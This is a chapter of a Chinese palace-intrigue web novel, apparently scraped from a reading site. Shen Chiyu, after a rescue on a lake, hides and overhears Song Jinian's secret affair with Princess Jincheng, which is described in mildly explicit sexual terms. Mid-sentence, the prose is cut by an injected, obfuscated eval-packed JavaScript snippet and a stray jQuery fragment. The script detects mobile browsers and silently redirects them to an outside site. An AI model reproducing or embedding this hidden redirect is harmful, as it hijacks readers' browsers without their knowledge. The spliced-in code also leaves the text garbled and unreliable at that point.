伴君独幽 作品

91. 撞破

即便如此,她还在想,这个声音好熟悉,是谁呢?


花船很快靠近了乌篷船,直至靠近,花船上的人才看清楚船上的男子,不由大惊道:“秦、秦王殿下!”


接着水面上又浮现出几道身影,不过很快这些人都上了船。


沈持玉与另外三名女子裹着毯子坐在坊内吃着姜茶,外面时不时传来男子的说话声,她却神情呆滞地捧着茶碗发呆。


屋中另外三人相互对视一眼,最先被救的两名女子,上前冲她深深施了一礼,道:“多谢沈姐姐不顾前嫌救我二人性命,我二人铭记于心,必当重谢。”


沈持玉这才渐渐回过神,将二人搀起,二人又是一番道谢,很快便熟络起来。


她这才知晓二人原是表姐妹关系,年长些的名叫贺妍淑,是顺天府尹家的嫡孙女,妹妹则是大理寺少卿的嫡女孙乐盈,而一直不说话的那个娃娃脸女子则是安定侯府的嫡女徐若棠,三人关系不错,方才落水纯属意外。


乌篷船行到一半,艄公不知怎地忽然惊叫一声,捂着胸口落水了,三人都不会撑船,呼救了半晌却无人听见,无奈之下只好尝试自救,可船只狭小,三人重心不稳,一个不慎就船体摇晃,三人便相继落了水。


说起来要不是徐若棠性子太过跋扈,三人也不会乘坐乌篷船,更不会落水,而且沈持玉刚刚为了救徐若棠险些溺死,偏这丫头木着一张脸,一句道谢的话都没有。


两姐妹此时对徐若棠也心存不满,尤其年纪小些的孙乐盈性子直,当即就冷嘲热讽道:“从前我姐妹与你亲厚,是觉得你虽然性子刁蛮但为人极是仗义,可没想到你竟是这般忘恩负义之人。”


徐若棠脸色一白,羽睫颤了颤,咬了咬唇却依旧不曾开口说话。


贺妍淑扯了扯妹妹的衣袖道:“别说了,棠棠许是被吓到了。”


她的确是被吓到了,她是安定侯的幺女,上头有四个哥哥,独独就她一个女儿,是以府里上上下下都将她当眼珠子一般疼爱着,从小到大莫说是遇险,便是重话都未曾听到过一句。


此时此刻还有些惊魂未定,但被孙乐盈这般冷嘲热讽,面子上挂不住,脸上更是一阵青一阵白的,心底生出了怨怼,赌气道:“还不是怪她非要坐花船!”


说罢,气呼呼地将锦被套在头上,歪在软榻上背对着几人生闷气。


沈持玉只看了一眼,便知这是个被千娇百宠长大的女孩,即便惹下大祸已经有发脾气的资本,可她却没有。


甚至于她心底隐隐有些后悔,不该拿自己的性命来救这些无关紧要的人。


至少应该量力而行,救了孙乐盈之后就该及时止损。


不过她的思绪很快就被一道儿声音打断了,除了先前救她的朱杞,她竟然还听到了宋冀年的声音。


方才她竟也跳下水来救自己!


沈持玉只觉可笑,恍惚间有种身在梦中的不真实感。


今日受到邀请的除了女客,自然还有京中的世家子弟,年轻权贵,只不过男女分席而坐,男客去往的湖中另一岛屿,却不知为何在这里碰到。


而朱杞又是何时回的京城,她竟一无所知。


不过出了这等变故,三人也没有了赏景的兴致,命令船夫将船驶向岸边。


那边将将到达湖心小岛的王妃等人尚未得到消息,正与闺秀一起聆听采莲女的歌声,忽然有小舟驶入,身着青色比甲的嬷嬷匆匆来到王妃身边低声耳语了几句,身旁的金城公主也在同一时间得到了消息。


金城公主的脸色有些难看,下意识看向身旁的秦王妃,见她神色未变,脸上依旧挂着得体的笑容,像是一尊慈眉善目的菩萨。


她心底不由嗤笑一声,自家夫婿回府第一件事儿便是在众目睽睽之下救了落水的情妇,偏这正头王妃还一副事不关己的菩萨模样,也不知是真的不在乎,还是太能装了。


金城公主站起身,道:“这歌声太过无趣,本宫要回去了,诸位请便。”


之所以将人都带到湖心小岛,是因为夜里准备了烟花,这里是最佳观赏之所。


金城公主离开势必会乘坐画舫,待会儿其他人要离开便不够坐了,只能等画舫返回,来回却要花费不少时间。


听说金城公主要离开,往日与她走得近的几个闺秀便含蓄地表达了想要离开的意愿,秦王妃也并不拦着,命人好生照看着送她们上了画舫。


上了岸,沈持玉便在婢女的指引下到了临近的结绮阁更换衣衫,这里房间众多,并不需要三人挤在一间房,当然出于女子的羞怯,没人想被外人看光身子,是以除了贺妍淑和孙乐盈,其他人都单独一间屋子。


贵女们赴宴大多都准备了多余的衣衫,将沈持玉安置在屋内,婢女便去下人房从梅蕊那里将她带的衣服取来。


夏日衣衫轻薄,干得也快,其实她身上的衣衫已经干了大半,但头发湿答答得黏在身上很不舒服,她坐到铜镜前拆了发髻,正欲梳妆却听门口传来了一丝动静。


原以为是婢女回来了,她正要开口说话,忽然听到了熟悉的男子声音。


因着先前两次被暗算的经历,沈持玉当即便觉出不妙,不及她开口说话,门却“咯吱”一声开了。


她一把抓起桌上的金簪,快速躲到帷幔的后面。


伴随着两道脚步声入内,屋门又再次阖上。


紧接着便是“啪”的一声脆响,沈持玉透过帷幔的缝隙看到了屋内的二人,竟是宋冀年与金城公主。


宋冀年被金城公主狠狠一巴掌扇在脸上,紧接着便听见金城公主压抑地怒斥声:“你心里是不是还惦记着那贱人?谁让你下水救人的?说!你是不是忘不了她,还想着旧情复燃!”


青年一身暗红色织锦袍,许是落水的缘故脸色有些苍白,偏偏唇色绯红,瞧着竟比往日里更加俊美。


“在殿下的眼中我便如此不堪入目吗?”此刻他清正的面容之上露出一丝苍白的笑容,眼眸中含着几分委屈与倔强,可细细看来又透着几分缠绵蕴藉,眼神似有


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982491|151880||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


情又似无情,竟别样的勾人。


金城公主嗓子眼发紧,打人的那只手隐隐发烫,她的确是有些后悔了,她伸出手试图抚摸他受伤的面颊,却被他偏头躲过。


接着就听宋冀年开口说道:“我原先并不知晓落水的人是她,我只看到了有人在呼救,恰好我会凫水,出于本能跳下水救人,更何况人也并非我救上来的。”


闻言,金城公主面露心疼之色,一把抱住宋冀年的腰身,娇声道:“是我误会你了,是不是打疼你了?”


说着她就伸手贴上他的面颊,迫使他转过头来。


灯在他的侧脸镀了一层朦朦胧胧的光,他的眉眼低垂着可眼尾有些泛红,好似受了委屈,可那鼻梁到下巴的线条却如此清冷孤傲。


她的手骤然用力一把勾住宋冀年的脖颈,迫不及待地亲吻他,一只手顺着男人的脊背一寸寸挪移,摩挲着。


“先生,你原谅我吧?”说着她猛然用力一把推倒宋冀年,他身子跌入身后的玫瑰圈椅上。


金城公主裙裾扬起,跨坐在他身上,柔若无骨的身子藤蔓般在他怀中不住地扭动着。


“殿下……”一声气促的喘息声在二人交叠的双唇间辗转,衣衫在疯狂地扭动战栗中散落,昏暗的光线中两具白花花的躯体犹如褪去鳞片的鱼,不停地朝着更高的溪流冲去。


躲在帷幔后的沈持玉听着耳畔一浪高过一浪的娇喘声,不仅没有被吊起一丝兴趣,反而心在一点点下沉。


她是如何也未曾料到宋冀年竟然与金城公主有了首尾,金城公主的驸马不是旁人,正是颍国公郭琦的嫡次子郭瑛。


颍国公郭琦手握兵权,乃是大燕开国功臣之后,在军中极有威望。


倘若金城公主与人私通之事传出,必然会搅得皇室不得安宁,作为奸夫的宋冀年无论多么得宠势必会被处死。


想到金城公主素来与晋王亲厚,若是能借此破坏郭家与金城公主的关系,晋王必然会失去一大助力,想到此处她心口怦怦直跳,不禁握紧拳头控制自己越来越激动的心绪。


外面的两个人正在兴头上,哪里会察觉到周围的异常。


倒是沈持玉不经意地一瞥发现了自己遗留在铜镜前的一支珠花,她心跳到了嗓子眼,待二人云雨过后势必会到铜镜前梳妆,自然也就发现了桌上遗留的珠花,万一怀疑屋中有人,搜查之下她自然无处藏身。


今日赴宴,见她带过这珠花的人不少,即便金城公主认不出来随便找人问问也知道是谁的。


沈持玉屏住呼吸,强迫自己镇定下来。


一切尚有转机,屋内喘息声未止,但却从玫瑰圈椅转战到了床榻上,随着金钩落下,纱帐隔绝了榻上的两道身影。


机会来了,沈持玉悄然靠近妆台,一把拿起桌上的珠花,转身欲退。


命运却与她开了个玩笑,不知哪里来的风乍然掀起窗幔的一角,金城公主不经意间瞥见了铜镜中映出的一道儿身影,脸色骤变,厉声喝道:“谁在那里?”